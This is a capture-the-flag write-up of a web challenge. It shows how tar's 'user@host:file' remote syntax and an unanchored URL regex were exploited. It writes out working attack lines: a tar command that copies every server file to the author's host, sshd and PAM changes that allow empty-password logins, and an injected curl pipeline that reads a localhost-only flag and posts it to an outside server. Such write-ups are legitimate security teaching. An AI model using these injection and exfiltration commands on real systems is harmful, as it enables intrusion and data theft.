This was not a typical web challenge, apart from beeing accessible over the web. The aim was to successfully execute a tar command (and do something usefull with it). The returned code of executed tar command was then returned to the user. I always got a “tar returned 2”, meaning that the file I was trying to (un)tar was not found. Chars to travers or inject were all filtered.
I tried different techniques of command injection, but had not success with this. So I dug into the man pages of tar and found this nice little thing:
--force-local archive file is local even if it has a colon
This brought me onto the track that there may be a way to define a remote (tape) device to (un)tar from and to. And yeah, I was right:
If the file name contains a `:', it is interpreted as `hostname:file name'. If the hostname contains an at sign (@), it is treated as `user@hostname:file name'. In either case, tar will invoke the command rsh (or remsh) to start up an `/etc/rmt' on the remote machine. If you give an alternate login name, it will be given to the rsh. Naturally, the remote machine must have an executable `/etc/rmt'. This program is free software from the University of California, and a copy of the source code can be found with the sources for tar; it's compiled and installed by default.
Great, so let’s try it. To verify this, I passed
tar tvf firstname.lastname@example.org:foobar.tar and watched the auth.log on my server. And yeah, there was a failed connection attempt.
Allowing remote access
The next step was allowing the remote server to log in. This took me longer than I thought, because setting up an insecure sshd is hard. I created a user with no password (
passwd -d username) and allowed login with an (empty) password in my sshd_config:
PermitEmptyPasswords no PasswordAuthentication yes
But I was still not able to login via an empty password over ssh. Why? After searching for a long time I came around this debian bug report. The TLDR of it:
ssh is not a secure tty, so you have to tell
pam.d that it is okay to pass an empty password (replace nullok_securer with nullok in /etc/pam.d/common-auth).
Getting all files
So I felt I was near the finish. I prepared the sshd and build a command to tar me every file from the remote server and place the .tar on my server:
tar cf pwn@myserver:foo.tar *
Got it! But where is the flag? .. So as you can see, this was still not the end.
The real web challenge
After inspecting the PHP files, this was the basic functionality of them:
admin_console.php After checking existence of a cookie and a proof of work (MD5 brute), send a URL to a phantomjs script.
readflag.php: If REMOTE_ADDR is localhost, open /flag and print it.
Note: I will not go into the detail of the substr(md5(str), 0, 6) proof of work here.
So the plan was to use the worker.js script to extract the flag. But it was not printed out, so what can we do here? If we look closely at the regex for the URL, we see that there is no end specified, thus allowing us to inject commands after a valid url.
Lets try to pass the output of the worker.js script to us via curl (nc was not available):
All right, still no flag. So screw this worker.js, let’s do it all by ourself instead:
https://127.0.0.1' | curl http://127.0.0.1/readflag.php > /tmp/foo && curl -F "foo=@/tmp/foo" http://unlink.io:31337/ #